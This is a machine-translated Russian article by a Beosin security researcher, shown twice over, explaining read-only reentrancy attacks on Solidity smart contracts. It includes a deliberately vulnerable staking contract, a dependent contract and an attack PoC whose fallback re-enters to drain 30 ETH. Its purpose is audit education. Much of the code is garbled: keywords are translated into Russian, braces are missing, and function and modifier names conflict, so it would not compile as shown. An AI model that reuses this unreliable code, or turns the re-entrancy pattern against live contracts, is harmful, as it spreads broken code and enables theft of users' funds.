Необходимые знания для аудита безопасности: что такое «атака с повторным входом только для чтения», которая часто происходит в последнее время и которую трудно предотвратить?
Автор статьи: Сиван, эксперт по исследованиям в области безопасности компании Beosin.
В последнее время в экосистеме блокчейна было много атак повторного входа, Эти атаки не похожи на известные нам ранее уязвимости повторного входа, а являются атаками повторного входа только для чтения, которые происходят, когда проект имеет блокировку повторного входа.
Необходимые знания для сегодняшнего аудита безопасности, исследовательская группа безопасности Beosin объяснит вам, что такое «атака с повторным входом только для чтения».
Какие ситуации приводят к риску реентерабельных уязвимостей?
В процессе программирования смарт-контрактов Solidity одному смарт-контракту разрешается вызывать код другого смарт-контракта. В бизнес-дизайне многих проектов необходимо отправить ETH на определенный адрес, но если адрес получения ETH является смарт-контрактом, будет вызвана резервная функция смарт-контракта. Если злоумышленник напишет хорошо спроектированный код в резервной функции контракта, может возникнуть риск повторного входа в систему.
Злоумышленник может повторно инициировать вызов контракта проекта в резервной функции вредоносного контракта.В это время процесс первого вызова не завершен, и некоторые переменные не были изменены.В этом случае второй вызов вызовет контракт проекта на использование необычных переменных выполняет связанные вычисления или позволяет злоумышленнику обойти некоторые ограничения проверки.
Другими словами, корень реентерабельной уязвимости кроется в вызове интерфейса целевого контракта после выполнения перевода, а изменение леджера приводит к обходу проверки после вызова целевого контракта, то есть конструкция не строго в соответствии с режимом проверки-проверки-взаимодействия. Следовательно, в дополнение к уязвимостям повторного входа, вызванным переводами Ethereum, некоторые неправильные конструкции также могут привести к атакам повторного входа, как в следующем примере:
1. Вызов управляемых внешних функций приведет к возможности повторного входа
2. Функции, связанные с безопасностью ERC721/1155, могут вызывать повторный вход
В настоящее время атаки с повторным входом являются распространенной уязвимостью.Большинство разработчиков блокчейн-проектов также осознают опасность атак с повторным входом.Блокировки повторного входа в основном устанавливаются в проектах, так что при вызове функции с блокировкой повторного входа блокировка не может быть вызвана снова. Хотя блокировки повторного входа могут эффективно предотвращать вышеупомянутые повторные атаки, существует еще одна атака, называемая «повторный вход только для чтения», которую трудно предотвратить.
Что такое «повторный вход только для чтения», который трудно предотвратить?
Выше мы представили общие реентерабельные типы, ядром которых является использование аномального состояния для вычисления нового состояния после повторного входа, что приводит к обновлению аномального состояния. Затем, если функция, которую мы вызываем, является функцией только для чтения с измененным представлением, в функции не будет изменения состояния, и после вызова функции это не окажет никакого влияния на этот контракт. Поэтому разработчики таких проектов функций не будут уделять слишком много внимания риску повторного входа и не будут добавлять к нему блокировки повторного входа.
Хотя функция, модифицированная повторным входом, в принципе не повлияет на этот контракт, но есть другая ситуация, когда контракт будет вызывать функцию просмотра других контрактов как зависимость данных, а функция просмотра этого контракта не добавляет повторный вход. lock, тогда это может привести к риску повторного входа только для чтения.
Например, контракт проекта A может закладывать токены и выводить токены, а также предоставлять функцию запроса цен в соответствии с общим количеством токенов и залоговыми сертификатами контракта.Существует блокировка повторного входа между заложенными токенами и отозванными токенами, а запрос функция не существует Блокировка с повторным входом. Существует еще один проект B, который обеспечивает функцию снятия залога.Существует блокировка повторного входа между залогом и снятием.Функция снятия залога опирается на функцию запроса цены проекта A для расчета токена ваучера.
Существует риск повторного входа только для чтения между двумя вышеупомянутыми проектами, как показано на рисунке ниже:
Злоумышленник ставит и выводит токены в ContractA.
Злоумышленник снова вызывает функцию залога в ContractB в контракте.
Функция залога вызовет функцию расчета цены Contract A. В настоящее время статус контракта Contract A не обновлен, что приводит к ошибке в вычисленной цене, и больше токенов вычисляется и отправляется злоумышленнику.
После завершения повторного входа статус ContractA обновляется.
Наконец, злоумышленник вызывает ContractB для вывода токенов.
В настоящее время данные, полученные ContractB, обновлены, и можно вывести больше токенов.
Принципиальный анализ кода
Мы используем следующую демонстрацию в качестве примера для объяснения проблемы повторного входа только для чтения.Ниже приведен только тестовый код без реальной бизнес-логики.Он используется только в качестве справочного материала для изучения повторного входа только для чтения.
Напишите контракт ContractA:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Блокировка повторного входа. **/ модификатор noreentrancy(){ require(check); check=false; _; check=true; } конструктор(){ } /** * Расчет залога на основе общего количества токенов и заложенная сумма контрактного сертификата Стоимость, 10e8 для точности обработки. **/ функция get_price() виртуального публичного представления возвращает (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Залог пользователя, увеличение суммы залога и предоставление валюты ваучера. **/ function deposit() public payable norentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Пользователь снимает средства, уменьшает заложенную сумму и уничтожает общую сумму токена. **/ функция отзыва(uint256 burnamount) public norentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount;_totalSupply-=burnamount;
Разверните контракт ContractA и заложите 50ETH, и проект моделирования уже запущен.
Напишите контракт ContractB (в зависимости от функции get_price контракта ContractA):
pragma solidity ^0.8.21;interface ContractA { функция get_price() возвращает внешнее представление (uint256);}contract ContractB { ContractA Contract_a; сопоставление (адрес => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } конструктор(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Токены залога , рассчитайте стоимость заложенных токенов в соответствии с get_price() контракта ContractA и рассчитайте количество токенов-ваучеров**/ function depositFunds() public payable norentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Вывод токенов и расчет ваучерных токенов в соответствии с контрактом ContractA get_price() Рассчитать стоимость вывода tokens**/ function removeFunds(uint256 burnamount) public payable norentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{значение:сумма}("");} функция balanceof(адрес аккаунта) общедоступного представления возвращает (uint256){ return _balances [acount] ;
Разверните контракт ContractB, чтобы установить адрес ContractA, и заложите 30ETH, и проект моделирования уже запущен.
Напишите контракт атаки POC:
pragma solidity ^0.8.21; interface ContractA { функция deposit() внешняя подлежащая оплате; функция снятия (сумма uint256) внешняя;} интерфейс ContractB { функция depositFunds() внешняя подлежащая выплате; действие balanceof(адрес acount) внешний вид возвращает (uint256);} контракт POC { ContractA контракт_a; ContractB контракт_b; адрес к оплате _owner; uint флаг=0; uint256 depositamount=30 ether; ); } функция setaddr(адрес _contracta,адрес _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Атака начинает вызывать функцию, добавлять ликвидность, удалять ликвидность и, наконец, снимать токены. **/ функция start(сумма uint256)public { контракт_a.deposit{значение:сумма}(); контракт_a.withdraw(сумма); контракт_b.withdrawFunds(контракт_b.balanceof(адрес(этот ))); } /** * Функция стейкинга вызывается при повторном входе. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * После окончания атаки вывести ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * функция обратного вызова, реентерабельный ключ. **/ fallback() оплачиваемый внешний { if(msg.sender==address(contract_a)){ Deposit(); }
Перейдите на другую учетную запись EOA, чтобы развернуть контракт на атаку и передать 50ETH, а также установить адреса ContractA и ContractB.
Передайте 50000000000000000000 (50*10^18) в функцию запуска и выполните ее, и обнаружите, что 30ETH ContractB были переданы контрактом POC.
Вызовите функцию getEther еще раз, и адрес злоумышленника получит 30ETH.
Анализ процесса вызова кода:
Функция запуска сначала вызывает функцию депозита контракта ContractA для залога ETH. Злоумышленник передает 50*10^18 плюс 50*10^18, принадлежащие исходному контракту. В это время _allstake и _totalSupply оба равны 100*10 ^ 18.
Затем вызовите функцию вывода контракта ContractA для вывода токенов. Контракт сначала обновит _allstake и отправит 50 ETH в контракт атаки. В это время он вызовет резервную функцию контракта атаки и, наконец, обновит _totalSupply. .
В резервной функции контракт атаки вызывает контракт ContractB для залога 30 ETH. Поскольку get_price является функцией просмотра, контракт ContractB успешно повторно входит в функцию get_price ContractA. В это время, поскольку _totalSupply не был обновлен, он по-прежнему равен 100\ *10^18, но _allstake был уменьшен до 50*10^18, поэтому возвращаемое здесь значение будет удвоено. Это добавит 60*10^18 токенов к контракту атаки.
После завершения повторного входа контракт атаки вызывает контракт ContractB для извлечения ETH.В это время _totalSupply обновлено до 50*10^18, и будет рассчитано то же количество ETH, что и валюта сертификата. Перевел 60ETH на контракт атаки. В итоге злоумышленник получил прибыль в размере 30ETH.
Совет по безопасности Beosin
В отношении вышеуказанных проблем безопасности команда безопасности Beosin предлагает: Для проектов, которые должны полагаться на другие проекты в качестве поддержки данных, следует строго проверять безопасность бизнес-логики комбинации зависимого проекта и собственного проекта. В случае, если в одних двух проектах проблем нет, то после их объединения могут возникнуть серьезные проблемы с безопасностью.
Посмотреть Оригинал
На этой странице может содержаться сторонний контент, который предоставляется исключительно в информационных целях (не в качестве заявлений/гарантий) и не должен рассматриваться как поддержка взглядов компании Gate или как финансовый или профессиональный совет. Подробности смотрите в разделе «Отказ от ответственности» .
Необходимые знания для аудита безопасности: что такое «атака с повторным входом только для чтения», которая часто происходит в последнее время и которую трудно предотвратить?
Автор статьи: Сиван, эксперт по исследованиям в области безопасности компании Beosin.
В последнее время в экосистеме блокчейна было много атак повторного входа, Эти атаки не похожи на известные нам ранее уязвимости повторного входа, а являются атаками повторного входа только для чтения, которые происходят, когда проект имеет блокировку повторного входа.
Необходимые знания для сегодняшнего аудита безопасности, исследовательская группа безопасности Beosin объяснит вам, что такое «атака с повторным входом только для чтения».
Какие ситуации приводят к риску реентерабельных уязвимостей?
В процессе программирования смарт-контрактов Solidity одному смарт-контракту разрешается вызывать код другого смарт-контракта. В бизнес-дизайне многих проектов необходимо отправить ETH на определенный адрес, но если адрес получения ETH является смарт-контрактом, будет вызвана резервная функция смарт-контракта. Если злоумышленник напишет хорошо спроектированный код в резервной функции контракта, может возникнуть риск повторного входа в систему.
Злоумышленник может повторно инициировать вызов контракта проекта в резервной функции вредоносного контракта.В это время процесс первого вызова не завершен, и некоторые переменные не были изменены.В этом случае второй вызов вызовет контракт проекта на использование необычных переменных выполняет связанные вычисления или позволяет злоумышленнику обойти некоторые ограничения проверки.
Другими словами, корень реентерабельной уязвимости кроется в вызове интерфейса целевого контракта после выполнения перевода, а изменение леджера приводит к обходу проверки после вызова целевого контракта, то есть конструкция не строго в соответствии с режимом проверки-проверки-взаимодействия. Следовательно, в дополнение к уязвимостям повторного входа, вызванным переводами Ethereum, некоторые неправильные конструкции также могут привести к атакам повторного входа, как в следующем примере:
1. Вызов управляемых внешних функций приведет к возможности повторного входа
2. Функции, связанные с безопасностью ERC721/1155, могут вызывать повторный вход
В настоящее время атаки с повторным входом являются распространенной уязвимостью.Большинство разработчиков блокчейн-проектов также осознают опасность атак с повторным входом.Блокировки повторного входа в основном устанавливаются в проектах, так что при вызове функции с блокировкой повторного входа блокировка не может быть вызвана снова. Хотя блокировки повторного входа могут эффективно предотвращать вышеупомянутые повторные атаки, существует еще одна атака, называемая «повторный вход только для чтения», которую трудно предотвратить.
Что такое «повторный вход только для чтения», который трудно предотвратить?
Выше мы представили общие реентерабельные типы, ядром которых является использование аномального состояния для вычисления нового состояния после повторного входа, что приводит к обновлению аномального состояния. Затем, если функция, которую мы вызываем, является функцией только для чтения с измененным представлением, в функции не будет изменения состояния, и после вызова функции это не окажет никакого влияния на этот контракт. Поэтому разработчики таких проектов функций не будут уделять слишком много внимания риску повторного входа и не будут добавлять к нему блокировки повторного входа.
Хотя функция, модифицированная повторным входом, в принципе не повлияет на этот контракт, но есть другая ситуация, когда контракт будет вызывать функцию просмотра других контрактов как зависимость данных, а функция просмотра этого контракта не добавляет повторный вход. lock, тогда это может привести к риску повторного входа только для чтения.
Например, контракт проекта A может закладывать токены и выводить токены, а также предоставлять функцию запроса цен в соответствии с общим количеством токенов и залоговыми сертификатами контракта.Существует блокировка повторного входа между заложенными токенами и отозванными токенами, а запрос функция не существует Блокировка с повторным входом. Существует еще один проект B, который обеспечивает функцию снятия залога.Существует блокировка повторного входа между залогом и снятием.Функция снятия залога опирается на функцию запроса цены проекта A для расчета токена ваучера.
Существует риск повторного входа только для чтения между двумя вышеупомянутыми проектами, как показано на рисунке ниже:
Злоумышленник ставит и выводит токены в ContractA.
Снятие токенов вызовет резервную функцию контракта злоумышленника.
Злоумышленник снова вызывает функцию залога в ContractB в контракте.
Функция залога вызовет функцию расчета цены Contract A. В настоящее время статус контракта Contract A не обновлен, что приводит к ошибке в вычисленной цене, и больше токенов вычисляется и отправляется злоумышленнику.
После завершения повторного входа статус ContractA обновляется.
Наконец, злоумышленник вызывает ContractB для вывода токенов.
В настоящее время данные, полученные ContractB, обновлены, и можно вывести больше токенов.
Принципиальный анализ кода
Мы используем следующую демонстрацию в качестве примера для объяснения проблемы повторного входа только для чтения.Ниже приведен только тестовый код без реальной бизнес-логики.Он используется только в качестве справочного материала для изучения повторного входа только для чтения.
Напишите контракт ContractA:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Блокировка повторного входа. **/ модификатор noreentrancy(){ require(check); check=false; _; check=true; } конструктор(){ } /** * Расчет залога на основе общего количества токенов и заложенная сумма контрактного сертификата Стоимость, 10e8 для точности обработки. **/ функция get_price() виртуального публичного представления возвращает (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Залог пользователя, увеличение суммы залога и предоставление валюты ваучера. **/ function deposit() public payable norentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount; } /** * Пользователь снимает средства, уменьшает заложенную сумму и уничтожает общую сумму токена. **/ функция отзыва(uint256 burnamount) public norentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount;_totalSupply-=burnamount;
Разверните контракт ContractA и заложите 50ETH, и проект моделирования уже запущен.
Напишите контракт ContractB (в зависимости от функции get_price контракта ContractA):
pragma solidity ^0.8.21;interface ContractA { функция get_price() возвращает внешнее представление (uint256);}contract ContractB { ContractA Contract_a; сопоставление (адрес => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } конструктор(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Токены залога , рассчитайте стоимость заложенных токенов в соответствии с get_price() контракта ContractA и рассчитайте количество токенов-ваучеров**/ function depositFunds() public payable norentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * Вывод токенов и расчет ваучерных токенов в соответствии с контрактом ContractA get_price() Рассчитать стоимость вывода tokens**/ function removeFunds(uint256 burnamount) public payable norentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{значение:сумма}("");} функция balanceof(адрес аккаунта) общедоступного представления возвращает (uint256){ return _balances [acount] ;
Разверните контракт ContractB, чтобы установить адрес ContractA, и заложите 30ETH, и проект моделирования уже запущен.
Напишите контракт атаки POC:
pragma solidity ^0.8.21; interface ContractA { функция deposit() внешняя подлежащая оплате; функция снятия (сумма uint256) внешняя;} интерфейс ContractB { функция depositFunds() внешняя подлежащая выплате; действие balanceof(адрес acount) внешний вид возвращает (uint256);} контракт POC { ContractA контракт_a; ContractB контракт_b; адрес к оплате _owner; uint флаг=0; uint256 depositamount=30 ether; ); } функция setaddr(адрес _contracta,адрес _contractb) public { contract_a=ContractA (_contracta); contract_b=ContractB(_contractb); } /** * Атака начинает вызывать функцию, добавлять ликвидность, удалять ликвидность и, наконец, снимать токены. **/ функция start(сумма uint256)public { контракт_a.deposit{значение:сумма}(); контракт_a.withdraw(сумма); контракт_b.withdrawFunds(контракт_b.balanceof(адрес(этот ))); } /** * Функция стейкинга вызывается при повторном входе. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * После окончания атаки вывести ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * функция обратного вызова, реентерабельный ключ. **/ fallback() оплачиваемый внешний { if(msg.sender==address(contract_a)){ Deposit(); }
Перейдите на другую учетную запись EOA, чтобы развернуть контракт на атаку и передать 50ETH, а также установить адреса ContractA и ContractB.
Передайте 50000000000000000000 (50*10^18) в функцию запуска и выполните ее, и обнаружите, что 30ETH ContractB были переданы контрактом POC.
Вызовите функцию getEther еще раз, и адрес злоумышленника получит 30ETH.
Анализ процесса вызова кода:
Функция запуска сначала вызывает функцию депозита контракта ContractA для залога ETH. Злоумышленник передает 50*10^18 плюс 50*10^18, принадлежащие исходному контракту. В это время _allstake и _totalSupply оба равны 100*10 ^ 18.
Затем вызовите функцию вывода контракта ContractA для вывода токенов. Контракт сначала обновит _allstake и отправит 50 ETH в контракт атаки. В это время он вызовет резервную функцию контракта атаки и, наконец, обновит _totalSupply. .
В резервной функции контракт атаки вызывает контракт ContractB для залога 30 ETH. Поскольку get_price является функцией просмотра, контракт ContractB успешно повторно входит в функцию get_price ContractA. В это время, поскольку _totalSupply не был обновлен, он по-прежнему равен 100\ *10^18, но _allstake был уменьшен до 50*10^18, поэтому возвращаемое здесь значение будет удвоено. Это добавит 60*10^18 токенов к контракту атаки.
После завершения повторного входа контракт атаки вызывает контракт ContractB для извлечения ETH.В это время _totalSupply обновлено до 50*10^18, и будет рассчитано то же количество ETH, что и валюта сертификата. Перевел 60ETH на контракт атаки. В итоге злоумышленник получил прибыль в размере 30ETH.
Совет по безопасности Beosin
В отношении вышеуказанных проблем безопасности команда безопасности Beosin предлагает: Для проектов, которые должны полагаться на другие проекты в качестве поддержки данных, следует строго проверять безопасность бизнес-логики комбинации зависимого проекта и собственного проекта. В случае, если в одних двух проектах проблем нет, то после их объединения могут возникнуть серьезные проблемы с безопасностью.